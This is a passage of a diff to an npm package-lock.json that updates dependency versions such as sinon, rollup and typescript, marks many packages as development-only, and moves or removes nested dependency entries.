@@ }, "dependencies": { "glob": { - "version": "7.1.7", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz", - "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", "dev": true, "requires": { "fs.realpath": "^1.0.0", @@ -10825,9 +9749,9 @@ } }, "rollup": { - "version": "2.56.3", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.56.3.tgz", - "integrity": "sha512-Au92NuznFklgQCUcV96iXlxUbHuB1vQMaH76DHl5M11TotjOHwqk9CwcrT78+Tnv4FN9uTBxq6p4EJoYkpyekg==", + "version": "2.57.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.57.0.tgz", + "integrity": "sha512-bKQIh1rWKofRee6mv8SrF2HdP6pea5QkwBZSMImJysFj39gQuiV8MEPBjXOCpzk3wSYp63M2v2wkWBmFC8O/rg==", "dev": true, "requires": { "fsevents": "~2.3.2" @@ -10854,12 +9778,20 @@ "safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + }, + "safe-stable-stringify": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-1.1.1.tgz", + "integrity": "sha512-ERq4hUjKDbJfE4+XtZLFPCDi8Vb1JqaxAPTxWFLBx8XcAlf9Bda/ZJdVezs/NAfsMQScyIlUMx+Yeu7P7rx5jw==", + "dev": true }, "safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true }, "sax": { "version": "1.2.4", @@ -10880,7 +9812,8 @@ "scope-eval": { "version": "0.0.3", "resolved": "https://registry.npmjs.org/scope-eval/-/scope-eval-0.0.3.tgz", - "integrity": "sha1-Fm8szR83VEKd7FEYBVAfnWkjtew=" + "integrity": "sha1-Fm8szR83VEKd7FEYBVAfnWkjtew=", + "dev": true }, "semver": { "version": "7.3.5", @@ -10936,9 +9869,9 @@ } }, "signal-exit": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz", - "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==", + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.4.tgz", + "integrity": "sha512-rqYhcAnZ6d/vTPGghdrw7iumdcbXpsk1b8IG/rz+VWV51DM0p7XCtMoJ3qhPLIbp3tvyt3pKRbaaEMZYpHto8Q==", "dev": true }, "simple-swizzle": { @@ -10951,32 +9884,23 @@ } }, "sinon": { - "version": "10.0.0", - "resolved": "https://registry.npmjs.org/sinon/-/sinon-10.0.0.tgz", - "integrity": "sha512-XAn5DxtGVJBlBWYrcYKEhWCz7FLwZGdyvANRyK06419hyEpdT0dMc5A8Vcxg5SCGHc40CsqoKsc1bt1CbJPfNw==", + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/sinon/-/sinon-11.1.2.tgz", + "integrity": "sha512-59237HChms4kg7/sXhiRcUzdSkKuydDeTiamT/jesUVHshBgL8XAmhgFo0GfK6RruMDM/iRSij1EybmMog9cJw==", "dev": true, "requires": { - "@sinonjs/commons": "^1.8.1", - "@sinonjs/fake-timers": "^6.0.1", - "@sinonjs/samsam": "^5.3.1", - "diff": "^4.0.2", - "nise": "^4.1.0", - "supports-color": "^7.1.0" + "@sinonjs/commons": "^1.8.3", + "@sinonjs/fake-timers": "^7.1.2", + "@sinonjs/samsam": "^6.0.2", + "diff": "^5.0.0", + "nise": "^5.1.0", + "supports-color": "^7.2.0" }, "dependencies": { - "@sinonjs/fake-timers": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-6.0.1.tgz", - "integrity": "sha512-MZPUxrmFubI36XS1DI3qmI0YdN1gks62JtFZvxR67ljjSNCeK6U08Zx4msEWOXuofgqUt6zPHSi1H9fbjR/NRA==", - "dev": true, - "requires": { - "@sinonjs/commons": "^1.7.0" - } - }, "diff": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", - "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz", + "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==", "dev": true } } @@ -11002,46 +9926,22 @@ "ansi-styles": "^4.0.0", "astral-regex": "^2.0.0", "is-fullwidth-code-point": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } } }, "source-map": { "version": "0.4.4", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", + "dev": true, "requires": { "amdefine": ">=0.0.4" } }, "spark-md5": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-2.0.2.tgz", - "integrity": "sha1-N7djhHdjrn56zvLKUjPQHmSaeLc=" + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz", + "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==", + "dev": true }, "sparqlalgebrajs": { "version": "3.0.3", @@ -11077,26 +9977,12 @@ "spark-md5": "^3.0.1", "sparqlalgebrajs": "^3.0.2", "uuid": "^8.0.0" - }, - "dependencies": { - "spark-md5": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz", - "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==", - "dev": true - }, - "uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "dev": true - } } }, "sparqljs": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/sparqljs/-/sparqljs-3.4.3.tgz", - "integrity": "sha512-VPMnvPjnU+P3xVbEfysxhpRqdIfCfKIcuOClp5j0g1dFt/1Bmp8l5BeBZv1uqIRuUey97q37Qxq13QBLePXBtg==", + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/sparqljs/-/sparqljs-3.5.0.tgz", + "integrity": "sha512-tDcW4Bswx4jMNTb/h1DzYdSglK2YcxySAaRLy0CZckALqztr62WxGHCjOzLw7ps02JQd/28nB99dSzkhRBOf9w==", "dev": true, "requires": { "rdf-data-factory": "^1.0.4" @@ -11191,34 +10077,6 @@ "dev": true, "requires": { "readable-stream": "^3.0.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "sprintf-js": { @@ -11234,9 +10092,9 @@ "dev": true }, "stack-utils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.3.tgz", - "integrity": "sha512-gL//fkxfWUsIlFL2Tl42Cl6+HFALEaB1FU76I/Fy+oZjRreP7OPMXFlGbxM7NQsI0ZpUfw76sHnv0WNYuTb7Iw==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.5.tgz", + "integrity": "sha512-xrQcmYhOsn/1kX+Vraq+7j4oE2j/6BFscZ0etmYg81xuM8Gq0022Pxb8+IqgOFUIaxHs0KaSb7T1+OegiNrNFA==", "dev": true, "requires": { "escape-string-regexp": "^2.0.0" @@ -11284,25 +10142,14 @@ "dev": true }, "string-width": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", - "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", "dev": true, "requires": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.0" - }, - "dependencies": { - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - } + "strip-ansi": "^6.0.1" } }, "string.prototype.trimend": { @@ -11326,9 +10173,13 @@ } }, "string_decoder": { - "version": "0.10.31", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=" + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + } }, "stringify-object": { "version": "3.3.0", @@ -11350,9 +10201,13 @@ } }, "strip-ansi": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-0.1.1.tgz", - "integrity": "sha1-OeipjQRNFQZgq+SmgIrPcLt7yZE=" + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.1" + } }, "strip-bom": { "version": "3.0.0", @@ -11405,9 +10260,9 @@ }, "dependencies": { "ajv": { - "version": "8.6.2", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.6.2.tgz", - "integrity": "sha512-9807RlWAgT564wT+DjeyU5OFMPjmzxVobvDFmNAhY+5zD6A2ly3jDp6sgnfyDtlIQ+7H97oc/DGCzzfu9rjw9w==", + "version": "8.6.3", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.6.3.tgz", + "integrity": "sha512-SMJOdDP6LqTkD0Uq8qLi+gMwSt0imXLSV080qFVwJCpH9U6Mb+SUGHAXM0KNbcBPguytWyvFxcHgMLe2D2XSpw==", "dev": true, "requires": { "fast-deep-equal": "^3.1.1", @@ -11421,15 +10276,6 @@ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", "dev": true - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } } } }, @@ -11482,34 +10328,6 @@ "fs-constants": "^1.0.0", "inherits": "^2.0.3", "readable-stream": "^3.1.1" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "text-extensions": { @@ -11533,26 +10351,56 @@ "through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", - "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", + "dev": true }, "through2": { "version": "0.6.5", "resolved": "https://registry.npmjs.org/through2/-/through2-0.6.5.tgz", "integrity": "sha1-QaucZ7KdVyCQcUEOHXp6lozTrUg=", + "dev": true, "requires": { "readable-stream": ">=1.0.33-1 <1.1.0-0", "xtend": ">=4.0.0 <4.1.0-0" + }, + "dependencies": { + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + }, + "readable-stream": { + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", + "dev": true + } } }, "to-boolean-x": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/to-boolean-x/-/to-boolean-x-1.0.3.tgz", - "integrity": "sha512-kQiMyJUgFprL8J+0CfgJuaSFKJMs3EvFe27/6aj/hVzVZT0HY4aA1QjPldLNxzBmjhLcapp7CctYHuD8QqtS3g==" + "integrity": "sha512-kQiMyJUgFprL8J+0CfgJuaSFKJMs3EvFe27/6aj/hVzVZT0HY4aA1QjPldLNxzBmjhLcapp7CctYHuD8QqtS3g==", + "dev": true }, "to-integer-x": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/to-integer-x/-/to-integer-x-3.0.0.tgz", "integrity": "sha512-794L2Lpwjtynm7RxahJi2YdbRY75gTxUW27TMuN26UgwPkmJb/+HPhkFEFbz+E4vNoiP0dxq5tq5fkXoXLaK/w==", + "dev": true, "requires": { "is-finite-x": "^3.0.2", "is-nan-x": "^1.0.1", @@ -11564,6 +10412,7 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/to-number-x/-/to-number-x-2.0.0.tgz", "integrity": "sha512-lGOnCoccUoSzjZ/9Uen8TC4+VFaQcFGhTroWTv2tYWxXgyJV1zqAZ8hEIMkez/Eo790fBMOjidTnQ/OJSCvAoQ==", + "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "nan-x": "^1.0.0", @@ -11576,6 +10425,7 @@ "version": "1.5.0", "resolved": "https://registry.npmjs.org/to-object-x/-/to-object-x-1.5.0.tgz", "integrity": "sha512-AKn5GQcdWky+s20vjWkt+Wa6y3dxQH3yQyMBhOfBOPldUwqwhgvlqcIg5H092ntNc+TX8/Cxzs1kMHH19pyCnA==", + "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "require-object-coercible-x": "^1.4.1" @@ -11585,6 +10435,7 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/to-primitive-x/-/to-primitive-x-1.1.0.tgz", "integrity": "sha512-gyMY0gi3wjK3e4MUBKqv9Zl8QGcWguIkaUr2VJmoBEsOpDcpDZSEyljR773eVG4maS48uX7muLkoQoh/BA82OQ==", + "dev": true, "requires": { "has-symbol-support-x": "^1.4.1", "is-date-object": "^1.0.1", @@ -11599,7 +10450,8 @@ "is-primitive": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", - "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=" + "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", + "dev": true } } }, @@ -11607,6 +10459,7 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/to-property-key-x/-/to-property-key-x-2.0.2.tgz", "integrity": "sha512-YISLpZFYIazNm0P8hLsKEEUEZ3m8U3+eDysJZqTu3+B9tQp+2TrMpaEGT8Agh4fZ5LSoums60/glNEzk5ozqrg==", + "dev": true, "requires": { "has-symbol-support-x": "^1.4.1", "to-primitive-x": "^1.1.0", @@ -11626,6 +10479,7 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/to-string-symbols-supported-x/-/to-string-symbols-supported-x-1.0.2.tgz", "integrity": "sha512-3MRqhIhSNVDsVAk4M6WNcuBZrAQe54W13xrXX6RzxXS+pA4nj6DQ96RegQS5z9BSNyYbFsBsPvMVDIpP+a/5RA==", + "dev": true, "requires": { "cached-constructors-x": "^1.0.2", "has-symbol-support-x": "^1.4.2", @@ -11636,6 +10490,7 @@ "version": "1.4.3", "resolved": "https://registry.npmjs.org/to-string-tag-x/-/to-string-tag-x-1.4.3.tgz", "integrity": "sha512-5+0EZ6dOVt/XArXmkooxPzWxmOR081HM/uXitUow7h11WYg5pPo15uYqDWuqO7ZY+O3Atn/dG26wcJCK+mFevg==", + "dev": true, "requires": { "lodash.isnull": "^3.0.0", "validate.io-undefined": "^1.0.3" @@ -11645,6 +10500,7 @@ "version": "1.4.5", "resolved": "https://registry.npmjs.org/to-string-x/-/to-string-x-1.4.5.tgz", "integrity": "sha512-5xzlZDyDa9BUWNjNzZzHgKQ95PnV7qjvEhbqpFaj1ixaHgfJXOFaa3xdMJ+WLYd4hhaMJaxt8Pt5uKaWXfruXA==", + "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "is-symbol": "^1.0.1" @@ -11660,10 +10516,19 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.0.0.tgz", "integrity": "sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==", + "dev": true, "requires": { "psl": "^1.1.33", "punycode": "^2.1.1", "universalify": "^0.1.2" + }, + "dependencies": { + "universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true + } } }, "tr46": { @@ -11679,6 +10544,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/trim-left-x/-/trim-left-x-3.0.0.tgz", "integrity": "sha512-+m6cqkppI+CxQBTwWEZliOHpOBnCArGyMnS1WCLb6IRgukhTkiQu/TNEN5Lj2eM9jk8ewJsc7WxFZfmwNpRXWQ==", + "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "require-coercible-to-string-x": "^1.0.0", @@ -11695,6 +10561,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/trim-right-x/-/trim-right-x-3.0.0.tgz", "integrity": "sha512-iIqEsWEbWVodqdixJHi4FoayJkUxhoL4AvSNGp4FF4FfQKRPGizt8++/RnyC9od75y7P/S6EfONoVqP+NddiKA==", + "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "require-coercible-to-string-x": "^1.0.0", @@ -11705,6 +10572,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/trim-x/-/trim-x-3.0.0.tgz", "integrity": "sha512-w8s38RAUScQ6t3XqMkS75iz5ZkIYLQpVnv2lp3IuTS36JdlVzC54oe6okOf4Wz3UH4rr3XAb2xR3kR5Xei82fw==", + "dev": true, "requires": { "trim-left-x": "^3.0.0", "trim-right-x": "^3.0.0" @@ -11772,9 +10640,9 @@ } }, "typescript": { - "version": "4.4.2", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.4.2.tgz", - "integrity": "sha512-gzP+t5W4hdy4c+68bfcv0t400HVJMMd2+H9B7gae1nQlBzCqvrXX+6GL/b3GAgyTH966pzrZ70/fRjwAtZksSQ==", + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.4.3.tgz", + "integrity": "sha512-4xfscpisVgqqDfPaJo5vkd+Qd/ItkoagnHpufr+i2QCHBsNYp+G7UAoyFl8aPtx879u38wPV65rZ8qbGZijalA==", "dev": true }, "typescript-lit-html-plugin": { @@ -11841,20 +10709,17 @@ "through": "^2.3.8" } }, - "underscore": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.6.0.tgz", - "integrity": "sha1-izixDKze9jM3uLJOT/htRa6lKag=" - }, "uniq": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", - "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=" + "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", + "dev": true }, "universalify": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", - "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true }, "unpipe": { "version": "1.0.0", @@ -11866,6 +10731,7 @@ "version": "0.3.0", "resolved": "https://registry.npmjs.org/unreachable-branch-transform/-/unreachable-branch-transform-0.3.0.tgz", "integrity": "sha1-2ZzExudG0mSSiEW2EdtUsPNHTKo=", + "dev": true, "requires": { "esmangle-evaluator": "^1.0.0", "recast": "^0.10.1", @@ -11875,17 +10741,20 @@ "ast-types": { "version": "0.8.15", "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.8.15.tgz", - "integrity": "sha1-ju8IJ/BN/w7IhXupJavj/qYZTlI=" + "integrity": "sha1-ju8IJ/BN/w7IhXupJavj/qYZTlI=", + "dev": true }, "esprima-fb": { "version": "15001.1001.0-dev-harmony-fb", "resolved": "https://registry.npmjs.org/esprima-fb/-/esprima-fb-15001.1001.0-dev-harmony-fb.tgz", - "integrity": "sha1-Q761fsJujPI3092LM+QlM1d/Jlk=" + "integrity": "sha1-Q761fsJujPI3092LM+QlM1d/Jlk=", + "dev": true }, "recast": { "version": "0.10.43", "resolved": "https://registry.npmjs.org/recast/-/recast-0.10.43.tgz", "integrity": "sha1-uV1Q9tYHYaX2JS4V2AZ4FoSRzn8=", + "dev": true, "requires": { "ast-types": "0.8.15", "esprima-fb": "~15001.1001.0-dev-harmony-fb", @@ -11896,7 +10765,8 @@ "source-map": { "version": "0.5.7", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "dev": true } } }, @@ -11918,12 +10788,14 @@ "util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true }, "uuid": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", - "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==" + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true }, "v8-compile-cache": { "version": "2.3.0", @@ -11963,7 +10835,8 @@ "validate.io-undefined": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/validate.io-undefined/-/validate.io-undefined-1.0.3.tgz", - "integrity": "sha1-fif8uzFbhB54JDQxiXZxkp4gt/Q=" + "integrity": "sha1-fif8uzFbhB54JDQxiXZxkp4gt/Q=", + "dev": true }, "vary": { "version": "1.1.2", @@ -12024,7 +10897,8 @@ "vuvuzela": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/vuvuzela/-/vuvuzela-1.0.3.tgz", - "integrity": "sha1-O+FF5YJxxzylUnndhR8SpoIRSws=" + "integrity": "sha1-O+FF5YJxxzylUnndhR8SpoIRSws=", + "dev": true }, "web-streams-node": { "version": "0.4.0", @@ -12098,7 +10972,8 @@ "white-space-x": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/white-space-x/-/white-space-x-3.0.1.tgz", - "integrity": 